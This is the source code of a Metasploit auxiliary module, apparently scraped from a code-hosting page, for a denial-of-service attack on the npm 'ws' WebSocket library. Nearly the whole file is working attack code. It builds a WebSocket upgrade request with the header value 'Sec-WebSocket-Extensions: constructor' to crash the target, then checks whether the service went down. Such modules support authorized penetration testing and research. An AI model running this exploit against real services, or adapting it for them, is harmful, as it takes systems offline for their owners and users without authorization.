Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/ws_dos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'ws - Denial of Service',12'Description' => %q{13This module exploits a Denial of Service vulnerability in npm module "ws".14By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.15},16'References' =>17[18['URL', 'https://nodesecurity.io/advisories/550'],19['CWE', '400'],20],21'Author' =>22[23'Ryan Knell, Sonatype Security Research',24'Nick Starke, Sonatype Security Research',25],26'License' => MSF_LICENSE27)2829register_options([30Opt::RPORT(3000),31OptString.new('TARGETURI', [true, 'The base path', '/']),32],)33end3435def run36path = datastore['TARGETURI']3738#Create HTTP request39req = [40"GET #{path} HTTP/1.1",41"Connection: Upgrade",42"Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}",43"Sec-WebSocket-Version: 8",44"Sec-WebSocket-Extensions: constructor", #Adding "constructor" as the value for this header causes the DoS45"Upgrade: websocket",46"\r\n"47].join("\r\n");4849begin50connect51print_status("Sending DoS packet to #{peer}")52sock.put(req)5354data = sock.get_once(-1) #Attempt to retrieve data from the socket5556if data =~ /101/ #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.57print_error("WebSocket Upgrade request Successful, service not vulnerable.")58else59fail_with(Failure::Unknown, "An unknown error occurred")60end6162disconnect63print_error("DoS packet unsuccessful")6465rescue ::Rex::ConnectionRefused66print_error("Unable to connect to #{peer}")67rescue ::Errno::ECONNRESET, ::EOFError68print_good("DoS packet successful. #{peer} not responding.")69end70end71end727374